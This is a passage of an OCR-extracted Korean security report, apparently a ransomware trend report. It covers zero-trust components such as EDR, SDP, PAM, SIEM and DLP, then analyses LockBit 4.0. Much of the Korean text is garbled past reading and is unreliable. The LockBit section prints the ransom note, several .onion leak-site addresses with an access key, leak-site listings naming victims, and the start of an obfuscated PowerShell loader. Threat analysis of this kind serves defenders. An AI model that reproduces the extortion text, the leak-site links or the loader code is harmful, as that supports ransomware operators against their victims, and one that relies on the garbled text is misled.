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Traditional Zero Trust Defense Focuses
Single Perimeter Defense on Resource Protection
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7}. AD(Active Directory), QUAPSEA|AE (Human Resources Management System)
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2. 7|7] Y A=XQIE (Device / Endpoint)
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= |_
of HZE7| Hofl HXot HES 7A0F 5, HIEHZE HEE O|F0= X|&XQl HES Sl ClHio|A2
ME[GS SHEHOOF STt C|HIO|A T2{of HEHEl A|A”E Of2fel Zrt.

|

7}, RHA2EE|A AR (Asset Management System)

RHitalAAfe Fx| L BE OA(Office Automation) EHIS Algsin Halst 4 QU= EQ3 T7Ch
Clbfol A QM| Hoiof BrEict 0|S S8 Xxle| DE Clujo|AS

AO|ZE AFH FRlEAL BEE/X] G WIS HASE & QICh DEstE KHIBEAAMS CliolA
o S, A8, HIITH| ZE W¥S NSOR M, 012 Sof XX f [MS 2BHOE a 4
QUCH S RMBRINAYS C}2 2ot 22T HSH ClufolA AkS MAIZIOR DUIE{SHD, 04t

2Ih edstH =2t th8e = U= MAE MBSt
Lt. AD(Active Directory), PMS(Patch Management System)

AD(Active Directory)2t PMS(Patch Management System)= ZXX| L C|H}O|AO]| CHSH DHX| 22|12 X|
= S 7|=0|Ct AD= ARBXIRE 7|7]9| o1& 2 HYSHH, PMS= 2FH(K|LE OHZ2|AH|0|M0]| CHSt Ti

_

.
o

o

XIE Z2fetch FofFo| AT ADLE PMSE Sdlf Z&XQl miX| BiZ7} 7Hs3HH, ol S8 =& W
L= CHO|ATE 2[4 HoF THK|E RA[GIE=E & 4= ATt PMSE= X[ B{ZE & OfL|2f TiX| Ao A| St
7152 M3 rEHRl AA” 2HS KISt

7|=0|Ct. EDR2 AEIQIEON LMsH= 2/
EDRE

o
21
of MEE=E HIISIL HIESHA F2S X1|01°* = UACt ES

1o, = Y 2E CHOIAE XEHOZ HLEESH BES5h:= O

sgNoz Y —’.‘— U= 7|§0IEf UEM2 0|2t &2 Ef%*

, = X W 2E Ad=xol 1712l MEiE AAZICE ZBLHAY = Uk ESH UEM2
SSO(Single Sign-On)Lt ICAM(Identity Credential Access Management)Zt HEsll AFZXIet 7|7|9] &

af
= HYES SHOE ZFY £ ACH, Y222 WS0| ZX=H FZHl 30| 7HS3ITt.
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Ot. XDR(Extended Detection and Response)

XDRE EDRO| 213 HEOR, Cias| ASHOIE Ralof XX 941 HIERS, ofZ2iHlo[dmtx Setxo

2 YRS S 4 Yt BUZ0ICh XDRS CIYDt HOt SR MTt ASE) M| T SN 2ot

ABS ZEUNMOE HASD CHSTCE OIS Sof ASHOIE @ OfLjzt WIEYS Eafmiolct ofB2j3olu
|

TR dARtez RLIE-E 4 JACH, 20| HX|EH RS2 XHEstHLE Z10E HMSeit.

EPPS QISEQIEC| Cet S8 Hol2 HBots SUZOZ, A HALHK|Z2IAIAH (PMS) IHO!
ClHtOlA loF el eMelol WX S ASHQIEON Tast

m
)
av)
rir
[
H>
Ot
=
g
Jal
(o]
= r

|>
m
=}
N
10
=t
=2
>
m
0
U 0

[ |
AEXtet ClHIO|A0] Chet M2 HM4-E Mefst 0|F 7|Hez Xl M 22|E JhsdhA & = AT

3. HELI3 (Network)

R

HEXI= 7|9 /7
= gEie| S oA

b, -2l Eole] B

— 0

HERZ, S2RE F&S Eooh= QEU S o[BS HEsH| 2l ALEE]
Zoloith, 719 22 7|22 UWERD 22 22 ez URo ®H2E Hof
=

ot = HEQIAZE 0|=dt

o Mo mu T
e
L)
mot
4>
0
2
°
rot
i}

Mom
Ot

[> Oh
N
Pl
N
2]
rd
e
>

7}. SDN (Software-Defined Networking)

SDN2 HIERZ Mot HO|H HHE =2[3 HEHIE o fAEstn M2 #2[g = A= J|=0lch

7122 VLAN &lap &2, SDN2 WESRID 291X kst 7|58 &8 ME=te HERD 2gS
7bsotA| BiCh Ol Sdff CHYst Esfmig s8XMO= X2t HWESY3 X2 A|Mtsict. SDN2 5
et

L}. SDP (Software-Defined Perimeter) / ZTNA (Zero Trust Network Access)

SDP= AZEQ0| Fo| ZAE 2[ostH ZLiolM= F2 Hot ERH0= jFEICt 7|1&E2Q| SSL-VPNzt
S2| SDP= AMA| E{g2lo] Fed QUX| &on, SPA(Single Packet Authorization)2t= HOF ESS &H&3
QIZE ARZXITO| M 21F = F& WAooz IR HESYI0 H2Y = UL Ol AA| HEE SSL-VPN
HIH EoFM0| &1, NAC(Network Access Control) 2Lt LIS XF0f| Cigt MZE O AHSH EXE
UCts EHO| UACE ot Tt Q1F0] Oofl Hot HEAE(Het EZ, C|HIO|A HE) S8 S 215
XSS 20| HotMo2r: =2 AXMS JIEICE X2 S0{A= ZTNA(Zero Trust Network Access)
2 sl SFMSE|T QUC)

|O mo 4>
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Ct. Micro-Segmentation

Aol
i
.
N

> 0
18]
A
N
[ A S T

Micro-Segmentation2 HIE®IZE CSE ME=H 2 ofE2[A|0|M

O|Ct. 2t Mol O0|HME =& Oo|HER|A HAlOZ JiH HisiHS

MIZICE KHlofl JHE ot HAIE F=0 R0 2 = A= ™S 2astn, A

Hol| MESHHEIE CHE FYO= itk X 0| XHHIE WX[SH| W20l MZEHAE XS
ULt Micro-Segmentation MAE F#=5HA| =[H Tttt 21X 0|5 WX| & OfL[2} HEY3

S| 2 o+ AW EHS JHARR HERS 45 ddt a8d StiZt 7HssItt.

nx
ox
_O,t R
k1
o
i
ofm
el
i
Ho
N
ot
morr
HL

4> met of Mo
i N J

u
T

DR (Network Detection and Response)

NDR2 E Mzl ZLIEZ HAIE S HEXHI E2izs 4

=ofl HIERIS oM Llst= RS HAIIQE EXSHY g =

Ste CHet 91y R48 2atHo=z BX[S ti3sh= o Xl 9

oF ZHAIEE ZIsoll Chelf HIEHE dHe=z tiS0| 7kssttt.

W2 2|27 ARSICE Zols =oolE 2Mo[Lt Al 7IsS
|

FOHX| 2 AKX, HS| Fetor BRIt tigs M= nkstel dng|Fa H™

>

>

N}

|0

HU

Hr

1=
Ot

k1

=l

o 0
o 2 o
ot
i
om
5
i By
) ——
T
= N
ok >

o &
ot
Kl
=
HU
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u
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ot
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HO
N
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4. MAH! (System)

Al2E Tels 52 88 Z2IYMSE FS57LE SR HOIHE XMEstn #e|sts MHSS ERSCh 2-
Z2f|0j2(On-Premise) & 2ERE0 715 28 2 ZE AMH A|LESO| of7|0f sHEeCt AIAR 2|
A EE WAL RE AlFa 22 F2 ool AHAKZE FE AA-S 2est I1|013fE 82, FR
ool 817| 8l MU|et £ FHO A S AlLH 2[aA HI0| 2t S
O{AOF oITf. of MMHOICE S QIS (MFA) S 2=t M3 =2l 8l 9 22| XS EsHOF St A[AH
Tajof] H2tEl A|ARI2 ofzfiet ZCt.

7t. Micro-Segmentation

Micro-Segmentation2 HESRZ&E OfL|2} A|AR FHoME EHQl Hot J[=0|Ch 2} I*@(HH'I)

CIPIZ OFO|3Z MOHE|O|MS ’E.OE.OE*H AAE LR Hots Zet 2

OHZZ|AH[o| M0 JHE HatHg HFEst, UKL oF MHo|| HFSIHEIE CHE MHZ 2Hte= 25X ol
R = QACH EESE AARD XA —S— HH(OS)E &8l 2ot HMZS 7|Hte= 00|32 M| IHIE|O|
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Lt. PAM (Privileged Access Management)

PAMZ2 ZZ | 2= A|AH/(MH)O[LL DB A SOl CHet M2E SHiste SRt Hot A[AR(EFEM)0|
C}. sQoMs YUttHoz pAMOE EXSIXTH ZLjoM= A|AE M0} DB Haxo] S0z 7&
off ArEeotch oig A|AR2 MM ZZloM Bo| AF8ZEQl A|AHIOICE O] S3 RBAC(Role-Based
Access Control), ABAC(Attribute-Based Access Control)2t 22 MHMES sl AKXt ZX|el M2
Aot PElg £ UCE S AAH HFO| Mo S ME 7|52 X2stH 2ot M¥g ddxoz X

= AN ==
g = A0 2EXQl 2A2|7t 7tSOITh AKX EH| IAMO|Lt ICAMIE HAESE S SEAIY 2] HEl
=

Cl. AMAH #[oF™ 2ia| A|]AH! (Vulnerability Management System)

AARIS| FoMN #El= HEEHAE OPEHINOM IR 24 F SHLCL XA Fok™o| ZARH
WaS(Web Application Server)Lt DB AH| S0 ZZEOZ dtHs{of $ICt 0|2 4 &
FMI oiX] 22| AARI(PMS)E 8%l FLEE EXISHALE 2talg = Ak F7|1Hel FAE 22l= A
H HotsS RX[ste Ol H+Xo|H 0| S Hot (S ARMol| Xtk &~ QUCH X2 B2 A|AR F|obH
22| £FM0| SaaS(Software as a Service) HE{IZ HMZ2Z1 UYCH, Ol 7|1&E 2

2 Hizet M XHs HO0|E 3l AAMEE gtY S o2{7tX| HEES FSSiCt.

2f. 4 22| A|AE! (Backup Management System)

i 2tE| A|ARI2 ALO|H E@H(Resilience)E #2dt= SR8t 4=, A|AHIS| J[2 configel
2o ol22{ME CIXE E@ J|&87HK|E 30| 7tssich. MEEZAE  OFF|[HX0AM
(Resilience)2 &%t JHEo=, Y 2| AIAH] ff CIOJE] &AO|L} &l AtD LM Al M3
T 2 A= MAE ofsor 3tCt 0|8 Sof = Clo|E RAO|L} 2402 QIPt NSHE X|AD}SH

—_

=
o mQ

m
(=3 -

2
=
x

E

S
o
o

&4 QX 4+ 9UCt,

5. 22 9 ¢32C (Application & Workload)
= NEEZHAE OF7|HINoM 2ot S oHH 7| 2 Lol A== 2E oiZ2/7
D20 MHA S8 ZESI; siE 92 2-I8|0|At S2tRE 8, IHUE|IA

o
O*EM OfZ2(#[0[d9| Hotut 2t2|7t HHOo|Ct. HE2[A0]del QHIER| EHa|, &7
kS

r

—
SR Bl 3ok M2l 52 Sof 2ot s

f
Lt S8 3 |32 T2{of FatEl AA-E of2fet Zrt.

0
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7}. SASE (Secure Access Service Edge)

SASE(Secure Access Service Edge)= HIE3et Hotg Sgfsl H3st=s SEIRE 7|He Hob Tzl
2|3ACt NZEHAE OPF|HIMOME WEYI FAE LMESHK| o, SASE= SD-WAN(Software-

Defined Wide Area Network)z} 22l 2= AFEXIQF EX|0f CHolf YLatEl Hot HMS ME3ICt 0|8 £
o =X OCIALE QtHSHA| HIERX IO H2E 4+ JACH HERXKI HE 2 LT Hotg X
QlC},

A2 22Y HIHES SASEE tHY £2Mo| ofl ZRMOl Hob ZiZoZ YHEA|F|1 QL) ol2fst E
BHEDt FME Z20| CHASt Hot @FAIE EtMOo=Z #eld &~ YA =Lt SASE SSHE2 E8 &
Aol IStz X| 6T ALK QIBEE H0|H ESIA| HZEZAEQS HE LZ{E OfREE= 2t Eot
7|52 mMZ2sict

OlE E0{ SASE SHE2 ID & HZ Z2|(IAM), HIZEHAE HER3 EE(ZTNA) s
HZ3{(CASB), HIO|E|f &4 EIX|(DLP) S9| 7|58 EHOZ NI3ICL 0| HE
2ol C|H}O|A HOot HEYF M|IHE|0|M H%EI%IOI*& EE Mo, Ho|E T3t 5 HEZEHAEQ]
| HXFA
H o

oIC}. O|2{3t ETIN M "iAle HOL Fz|9|

ru
HT

rco1g e re

10
[l

2 el
| EIME 251 4 9UCh, D2IL} SASES (e Saas Hel2 MBS0 2-mAOA B3

S| E
L 2HFS 2l M8%t= U 2ol 28 ARZ0| HEHHY £ UL

—

fuju
I

Lt. CASB (Cloud Access Security Broker)

CASB(Cloud Access Security Broker)= 2225 MH|A ALEXIRb 222 OHEZ|A|0|M AO|XIM 2E
25 ZLEHZSH, Hot HMS A|WsH= 2-T0|A E= S2RE 7|8 ADEQOCH HEEHAE Of
7|80 A = 22tRE OHE2|AO|ME A2[5HK| 947| 20| CASBE Sdll 7IAlEE =tEst izt H|o|E

255 2/ wo| 8l 3| =45 Hljof SiCt. CASBE 22tRE ofE2[AH|0|Mof st 22 EH[st

=

= O

1 OojH fE2 YX[ste O 2% dots it

C}. 0SS(Open Source Software) |24 2| A|AE

= a4 ATEL 09| Hot FofgE 22|t thSsh= =4tk HZEHAE
2FoME RE &4 2TEL ol MEF £ §l7| WE0| 0| MAXMSZ Ze|soF STt 0SS Fofd 2
2 2 44 2t0|He2|et AREHAES| FfHS HAZCE ZL|EZStn, 2|4 2ot mX|et |
O|EE HE3ll Hot= &eltotrt. siiEY == SBoM(Software Bill of Materials)2 &3l Al &2 2= 2
552 FHotH, 201dA O 7K He|g = ULE MZEHAE A0 2t 2F A2 ATE

402 A=t DLIEs|oF Bict,
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2f. SAST (Static Application Security Testing)

SASTE X OfZ2/0|M Hot EIAER, AA BCLL HIO|LIZ] ES 2ASI0] Hot FOPHS AN ¥
A3t 7|20ICk HZEBAE BHOIME OHZ2l3olNe] LY TEE MEIZ & 97| G20 SASTE &
S TS Jldro] Hot HopHS AHetn hHeHOF BITh 012 Soff SQL QUMM ZA AO|E A
(XSS) 53t 22 For 2OlS 2ske 4 Uk SASTE e %7 ¢

= AOf| XIS OfiEE|FH|0] M2

AOMEE ZE FEHE =0/ Hots Zodh= O 32¢ LS o)
Ot. DAST (Dynamic Application Security Testing)

DAST= S& OiEZ|7[0|M Hot HAER HEIR 2tF0|AM OfZ2[AH0[HS HASIHM Hdd & A= B2

oF FAHES EXISk= 7|=0Ich MZEHAE 2HH0|M= OiEZ|A(0|M0| A= ¢t 2l AT

A

O ZR3t7| WZ0 DASTE Sdohi MM 22| oLt M HF 2Fet Z2 BEIY 49| F<F

0|2 S MAIZIOR WAE & I HOt 9IM HXGD 48 4 Urk

6. H|Oo|E| (Data)

Clo[E] G2 MZESAE OFF[HINOM Tt S 2|AAZ ZIREH, & oM LMst=s 2= H(o]
Bl= E29| %24 go|tt. J2iLt X2 Ho[EHE A5t CHR7|0fl= OF&IX| 022 &0 BCt
Clo[E= 2-Z3|0|A-22tRE-AHEAL ClHIo[A & Chfeh SHE0A MEED MEEH, 0| MAXHE 2

I

-

2[5tn E25t7| 2l8ilM= CI0oE QIMER[ARX 2e|-ZRE 22|-Hot 2| SO AAX Z=hAT H
K5t NZEHAENME 7|2XC=2 2= HO|EE= M2E 4 glthls FH Stof, XAl ZLIEZa A
&S SOl HI0|EHE Eolrt HO|E2t HatEl F2 AAH

|>

E

7}. DSPM (Data Security Posture Management)

1o

DSPM

ro

x5 Lol GlO[E{S Ewely| SIgt MAMRQl 2ot MEjS Balets AlAHo|Ch DSPME ZXo|
9 2-maj0jA BHOIM HOlEIS X4XOR DU, Hot HHoILE 9F RAS Al

2
iSste ol XS =Ch HEEZAE OFF|ENolMz= ZE O|0|E7 27| WZol, DSPM2 &

OF
=

r=
™
ot
S

OfEZ MAIZIOR 25l 9 RAE AR HXo) ST 4 UZE Bk M2 I2Y ATolME
DSPM £240| W22 2Hstn Uon, Al Al 2{dS 283t NEstel 7|50 kel QIck. ofet
se o Il S8, A

#2 MZTI DSPM &2EM CH2 C[o|e] &4, Xts2tE ool 2F, dHelst &
7lsE Ch. U 7|¥EX Ol &2 ==Y EdI=of| Sk, o|o|g HEto] Z%

dotnt SEMS HIMo= ISt QUL J2Lt CO[E{of CHet ZEEQl 22|t Hok2 ZLHRIE
= [

™ol apA|Ch,

=
Ok
_O'_I-
kEl
g0
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L}. DLP (Data Loss Prevention)

DLP = 7| LioflA Zde = Q= HI0IE |KES EXISH7| flet AIA-OICLDLP = 7|2l 2 HI0|E7}
NEEAHL MEEE= ZE Z20|M OCOIHE HEzsHH, o[ XiAof| CHet Hot HMg ~gstict
HMZEHAE 2F0M= ZE CIOHE M= 4 87| W20, DLP = HIO|EE HARIe=Z ZL|EZED
ot gl= AREXP7L 2iZfet C|oEfol| HMIStAHLE M&s & mf OIS ATt %2 DLP £842 J|&EL
712 7152 g0l OS 1kotE|n ok HO|HE A ER5h= 50| SHEICH, HO|HS 58S

HUSHA| =&l HIFYEQ 2SS BASt S &= Al ot Eot OE A|ARSTe| AA 2
£ &%l DLP 2| 7558 &&sta AUt ol S0 Microsoft 365 2 &2 S2HRE 7[dh Mity
Eot Al 22RE 2HF0l|AS tRo=z Xt 4= QAT olof C3f 2-Zai|ojA
72t NGFW(AHMICH ehH)et HAIE Sdlf Li-2F2 ML= H|O|E0]| CHoiAM = HMof7t 7HSSIT). o2t
Z2 DLP A2" 1EE Sl M=ESAE OP|HIMOME Thett CIolE RE EXIE o, =29
de

HgrsQl ojojEf 22 EHMIE Zesh= Y R42M JIsE 4= UL

m
[S)
m
=0
T
o
o Ml
[

Ct. DRM (Digital Rights Management)

71Z2| DRM 2 F2 EME L=sfll MESHAHL TS Fof| Clo[E7t REEX| $EE E2d5h= o X£FH0|
M QARUACE 2L} XZ DRM 7|2 Hett dmst J|sE 9o, E1|0|E1°| AHEat HHE Hghs

HMZEHAE OFF[EMoA DRM A|AEE2 ZAMo| TH| dof 7] S HO|HE E22sH, DjHo|
MEYE[ALL HEE= 2R otz A8 B0 XEHeZ EoE RAIY = UXSE EA=00F STt
O|F Soli X2 ZAM7t U AFSAHERE OtL|2} 2|f HMIXIA SRE= ER0E 2ot HHMS 2=|A|
HEY & At fIE S0 DRM 2 MEXL Z2ME SESIHL HESHE HRIE MESHA Mojgt & AL
EF AEXL aF0ARE B HetE ROostALL, HE, i, A3z A g
Ch. O|ME DRM 2 thed| 2ME d=efdh= 7|=0M oL, CIoje Sa2| METet Aot 2429t

X So| xole mBIE 2

= A
=

AlZE =X 7158 HiSdte AA”RCZE nkEste(n Aot

nz 20 A

7. 7 2 2Y (Visibility and Analytics)

7t 3 B HE{= XSt 8 S8 ZE{et oH MZEZAE OFF|HIM0| 0| 671 o SEXHQZ
Z& W 2= HO|E-AA-HERIS-ALEA 230 thieh ZA1ZH 7t
IS =710 EXotn S &+ A=SE S=0. MZELAE

= = Hi-
Of7|ElX Q| sy Rl gt HB"E 2AH2=Z FoIh7| fdiM= 7tAldar E40| H+XO|Ct,
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Lot HIEZO| st AF ZAl 0|42 EfHE W3l HeIZ 2E NS EMRM, HESRIE
ol sks ZE SRS fYS 2ESIY XsstE 2o 78S XEMof Strt JtAld 3 2Mat Az
AMARS2 of2Hel ZLf.

7t. SIEM (Security Information and Event Management)

SIEM2 NZE={AE OfF[HMO|M Cet R4(AEAL, WESRZ, oiE=|AH0[E S)oilM &dsk= Yrhs
21 HO|HE +&st1, 0|F 7[gtez Hot S BX|otn CHSst= o Q8 JES ot H=z=Ed A
E Of7[HM0|M SIEM2 7IZECH S et 25 £Ts{oF Sttt A2 7|E0l= F&0l st 2

TSI SSO(H2 Al 2) AIARO| O[Fl= ARBARL 2|40 FZet 0|22 MM HA[S] 7IZsHot

5t7| W20l =&kl= 239 &0| J[sta+Hez SISt

olet Ze dthst 25 M2|st7| s 21| £Xnt M 7|58 E2jsiN 2Fst= wH S 2F TEH|
ZLQSICE o2 E0 22 £t MHet 0|2 EMstE MHE 22[ICt ThadtA| 230 3= 8
T 2IMHE M50 SEIME EdiiME 2M0 f3ist= eHoZ Ms XNst2 EX|st H|2 2XHE &
Stet £ QUCh x7| CHA0IA olzfst 22 & BEM HAIS M| MAISHK| o™ 22k HE0|Lt st H
2 EX7t wde £ QT [M2tA HZEZAE J|8te| SIEM 2F0M= £7|12H HI0|H X2| 2Fat ]
2 a4 {3t MA|7t TSt

L. 8id|o|E{ (Big Data)

HIHO|E= 2 CIO|HE Melstn 2AMe X=ZIo| Hot EfME Zetst= o 5%t Ies oict E39|

=
|:||7H

3 GlOJEIY CHEY CIOIES CIRE of Y2 JHND, 7IZ Hot NAHORE EIX/sh| of2fe 0f4

MEE Aot ol Zasolct HEOlES BAl 2, AIRIBXIS), UEBACERH 2 QlE(E| $S 2ot
Ze nEsE Jlas S ANl US WHI YA VSS LT, HUH AHUS Aol
=R 4 Uck
YE0JElE HZERAE OF|HXOIM SIEM Tt A% 2eisol oigte 433t SIEM 2 2 7A%E
23 CO[EIE AAIZIOE 4ATotD ATAS MG WOt OMES SIXSH o XS WECL i
SGl0Els TESHE CIOIE{® ORLIZH HIME GIOIEIIN Eaeh MZMel MEH 2Mm off Jlse
RIZSICL. OIS S0f SIEMO| 53 OMES SXI5E! Hiole] 24 7122 she OMIE0| W2fnt izts
NENOR Ter 2ot Hmst A 82 JHsop Bk,
YEOJE J|&2 72 GIOIES MAIZIOR N2[s0, ARSXt U YEE|Sl BSS TRuUetn o4
MEE AXSHE ol YBECE 012 Sof TXS IR IHW ofLlzt LA} IHOIE 2WHOE S 4
QICh I3 SIy QIYRIHA(TIS A A4 BH HEOLL MY HES SHNOR BASD )
e 2 4+ U2 St
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ml

. 8 23 A|AH (Log Management System)

ZZ| L Chet AA(HERIT Y|, oiZ2IAH01M, MEX &S )M MdE =23 o

S 23 AAHR XE 2ol
O|EHHE ZAUA Z2lotn EMT £ JUTE X|2IICt 023t A|ARIS PEP(Policy Enforcement Point),
PDP(Policy Decision Point)2t &Z2 NZEHAE HARZHER} AFSEH MM AXI AlMo| 2R3t HIO|HE
HZstct, £t E3F 20 AAHR EFSHE HAIZ SIEM, SOAR S1t Als 2848 BEEISHH, 0|2 S
ZEo| HOt EfMIE Zate = ULt

8. A58 Y E8 (Automation and Orchestration)

ASer 8 S Hels Hetnt 2 EAE AtSeiotn Sgoi e HM XMgn aEXel 232 JHsdt
A Stct Ol S8l =5 HUS S0l ot Yo MESHA| thiee 4= ATt =Z[9] 1T Qlmat Hetof| Z
X YetEl Hob WML XS 4 QUL XSeh= Hoto] AXA OFE o212 JHEOIX|Th B2 2|AA8 4
QotE HOF FHO|M B LRt LIEOICL MZEAE OF|EHNMOME 2E 52 Q450 3EXHOZ U
got JHEoICt. AtSet 3 Seta A2tEl A|A'S2 of2iet 2Tt

SOAR= HQt 2@AAER0|M, XtS%t U HE
E1E Al 91 BXIet tHSS AiSstsh=d

=]
St A2 ol ZZl9| Hot IS RSkt e e BAE Fodts o 3% dES it

SOAR= SIEMIt ZIHS| AA=] ZStCt SIEMO| =&let gitiot 21 Ho|HE 7(|Hez 2
0|2 Xi=stel HIE=2 S2l0[5(Playbook)E Sdll A2[elCt. S
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L}. RPA (Robotic Process Automation)
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2. Al (Artificial Intelligence)
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https://www.skshieldus.com/download/files/download.do?o_fname=KARA%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EB%8F%99%ED%96%A5%20%EB%B3%B4%EA%B3%A0%EC%84%9C%202024.4Q.pdf&r_fname=20250226153157563.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=KARA%20%EB%9E%9C%EC%84%AC%EC%9B%A8%EC%96%B4%20%EB%8F%99%ED%96%A5%20%EB%B3%B4%EA%B3%A0%EC%84%9C%202024.4Q.pdf&r_fname=20250226153157563.pdf
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B EAKED D W TWITTER > E HOW TO BUY BITCOIN > a CONTACT US 3|
LOCKLTLER) e PRESS ABOUT US > @ AFFILIATE RULES > 4% MIRRORS 3|
gruppocogesi.org ahn.org jtu.com.br viacaojacarei.com.br
11D 05h 11m 0O1s PUBLISHED PUBLISHED PUBLISHED
CO.GES.I. si é specializzata nel supporto tecnico Greetings! Today we are posting here the new Greetings! Today we are posting here the new Greetings! Today we are posting here the new
amministrativo finalizzato alla definizicne delle company, “West Penn Allegheny Health System company, "JACAREI TRANSPORTE URBANO LTDA" company, “"JACAREI TRANSPORTE URBANOC LTDA"
istanze di condono edilizio e delle istanze edilizie Inc*. Company Description: West Penn Hospital, Company Description: JACAREl TRANSPORTE Company Description: JACAREI TRANSPORTE
presentate ai sensi del D.p.r. n. 380/2001 centrallv located in Pittsburah’s Bloomfield URBANO was founded with the corporate obiective URBANO was founded with the corporate obiective
gelco-s-a.com.br fordcountrymotors.mx candelasyasociados.es atpformosa.gob.ar
PUBLISHED PUBLISHED PUBLISHED PUBLISHED
Greetings! Today we are posting here the new Greetings! Today we are pasting here the new Greetings! Today we are pasting here the new Greetings! Today we are posting here the new
company, "Gelco Gelatinas do Brasil Ltda" company, "CMAMERICAS S.A. DE CV". Company company, "CANDELAS Y ASOCIADOS SL" company, "Administracion Tribunaria Provincal
Company Description: Gelco Gelatinas do Brasil Description: COUNTRY MOTORS specializes in the Company Description: Advice to SMEs and (Direccion General de Rentas de Formosa)”
Ltda. is an enterprise in Brazil. with the main office retail sale of new passenaer cars and trucks. individuals. with areas of specialization in the fields Companv Description: Formosa Tax Administration
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Deadline: 03 Feb, 2025 08:03:51 UTC

[no logo] lockbitd.com
LockBit 4.0 - released!

Want a lamborghini, a ferrari and lots of titty girls? Sign up and start your pentester billionaire journey in 5 minutes with us.
( often times to protect our web sites from ddos attacks we include ACCESS KEY -
ADTISZRLVUMXDJ34RCBZFNOGBNKLEYKYSSFZPNNXK4S2RSHOENUA )
http://lockbitapyx2kr5b7ma7qnéziwqgbrij2czhcbojuxmgnwpkgv2yx2yd.onion

http://lockbitapyum2wks2lbcnrovegxj 7ne3ua7hhcmshh3s3ajtpookohqd.onion
http://lockbitapp24bvbid3n3gmtfcasf2veaeagjxatgbwtxnsh5w32mljad.onion
http://lockbitapo3wkqddx2ka7t4Shejurybzzjposdcpeliudgv3skkizrid.onion
http://lockbitapiahy43zttdhslabjvx4qék24xx7r33qgtcvwgehmnngxy3yd.onion
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SIQIEl LockBit 4.0 2 2 7HX| HEHCRE RREICL F HES SYst HHLEE AISSIX[Tt HYLE H
Otz{ofl Black =t Green 2 HES HI|FUCL 7|Z2| Black HE2 LockBit 3.0 HA FHOZ AIZSIH
00|, Green 2 2 23 Hoj| Conti v3 HHANHE 7|2 THSO{RI HHO|CL LockBit 2 OfH
HME HHSIHA Red-Black-Green It Z2 0|EC=Z BERE TIAHUXITH 4.0 oMz 7|E0| AESHEH
HAES OHE AIRSH= 2402 ERIMCE o/ HIMOME 7|Z0|| AF23SIHE LockBit 3.0 2 #HAl|o{et
24 A 12 2ofl MEA LAE LockBit 4.0 2| HMAYE HL BN
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LockBit 4.0 Ransomware

_ Black: Salsa20 202|202 MY A4531E 511, i 7|S RSAZ BS
Green: ChaCha20 ¢ 2|2 oY &35S 3t ST 7|18 Curve25519 S/ HUE HE

N Salsa20 / ChaCha20 nk

File Encrypted
etgEf 7f File
o s

Black cpuid Salsa20 Key STy EI'IC':ye:ted

Green PRNG ChaCha20 Key B Rt E“‘g"d

Curve25519
Shared Key

r Black: 512KB 0|3}: 23| =3}

512KB 22} 5.5MB 0|3}: 2= 512KB ¢T3}

5.5KB &3} 60.5MB 0|5}: 5.5MB OfC} 512KB &3}

or53f urAl 60.5MB =32} 253MB 0|3} %= 5MB &3} & 15.5MB OIC} 512KB Y5}
253MB 3} 1GB 0|35}: % 5MB %3} £ 31MB OIC} 1MB 253}
1GB 23}: = 15MB &&3} & 102,5MB 0OiC} 2 5MB 253}

Green: 1MiB 0|3} || %&3}

L 1MiB 23} I MH|e| 27% 0t U453}
_ - al
seoes || wamazay || yeag || EHA0E
53

ChaCha20/Salsa20 = Windows Defender
o3} AAE o 22 HlZH A3t

~~~ You have been attacked by LockBit 4.0 - the fastest, most stable and immortal ransomware since 2019 ~~~~
>>>>> You must pay us.

Tor Browser Links BLOG where the stolen infortmation will be published:

( often times to protect our web sites from ddos attacks we include ACCESS KEY - ADTISZRLVUMXDJ34RCBZFNOGBNKLEYKYSSFZPNNXK4S2RSHOENUA )
http://lockbit3753ekiocyoSepmpy6kimejchjtzddoekjintému3gh4deid.onion/

http://lockbit3g3chd3katajfézashxz4h4cnhmz5t735zpltywhwpc6ay3id.onion/

http://lockbit3olpToetlcdtiSzydneluphh7fvdtSoabarcp2757r7xkutid.onion/

M E httpy//lockbitd35xk3ki6 2yunTz5nhwzbjyjdp2c64j5vae536if2eny3qtid.cnien/

}—Ol http://lockbitdlahhluquhoka3t4spgym2m3dhe66d6ir337gimnigg2nndad.onion/

http://lockbitéknrauo3qafoksvi742vieqbujxwirdéofzdtapjbdrrawgad.onion/

http.//lockbit7ouvrsdgtojeojShvubbligtghitekwpdy3bby62ixtsusjqd.onion/

r

»»>>> What is the guarantee that we won't scam you?
We are the oldest extortion gang on the planet and nothing is more impartant to us than our reputation. We are not a politically motivated group and want

>>>>> Warning! Do not delete or modify encrypted files, it will lead to irreversible problems with decryption of files!

Black: [a-zA-Z0-9]{9}. README .txt
L Green: Restore-My-Files.txt

Y7 232 [ Black: [a-zA-Z0-9]{9}
Green: [a-z0-9]{12}
A& elof
)—o{ C/C++

12l 7. LockBit 4.0 HAiglo] e
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LockBit 4.0 =HA9fo] M=zt

Execution

PowerShell B4 #7 % B 4¥

71059

Persistence

Privilege Escalation

I
om
>
e}
o

>
o2
71547 ]

Defense Evasion UAC Bypass® B3t A% 45

[ 71548 |

<oy

Windows Defender H|&-d%}
oY oy 8l 2AE Y=t

Discovery

L] 1]
Bl A2® 2 HEYD BE T
=

EEA
[ 1562 ]

Lateral Movement

Winsock #&8% Lj5 Hit
Y HH MHAF 0|88 L5 T

T1570

IR Y SARE AN
iy Oio|E| 2=s}
el MuA Y z2hA SE

12l 8. LockBit 4.0 Mo 22 Fek
LockBit Black 4.0

LockBit Black 3.0 @ 4.0 2 81%2 RAITE H0|1 YoM, AX| 2M ZAu SUst 7|52 A=
Ao = 2OIHLEL LockBit Black Off CHet XtAet 7|5 242 24 H 3 2 Keep up with Ransomware Of|Af

tolgh 4= QICt. ESH LockBit Black 4.0 2| Z2 PowerShell Script 2 248 U2 HZTO| olsi=d|,
szt PowerShell Script 2| 22 £ZMO=E QAT E LockBit Black 4.0 HIO|E{E CIZY = AHBiCH

Jlot

for ($1i = @; $i -1t $args.count; $i++ ){$argument += $args[$i] + "}
$psFile=$PSCommandPath
$global:ProgressPreference = "SilentlyContinue"

$script:threadBody = '$data=$threadData;"

$data = @(
@(62416317159553766,6171585555684128,573363996940575684,58471265167106420,54959097326818472
64527488453839471,52536072690480837,52766518087147867,57372294881942048,51378291418535539,
62953253871806504 ,51638886326030446,57371478650998806,47108824885965523,18209280467040628,

12l 9. LockBit Black 4.0 PowerShell Script

PowerShell Script 2| 2% F9| B2 = 2S0| HiE0 MEEO A2H, siF HIO|EHE SHH¥ 7t 2
S| ASCIll EXt2 #Hetsir), HetsEl 2Xts 22 PowerShell Script 0|H sligh AIREES HEo| £t ¢lo|

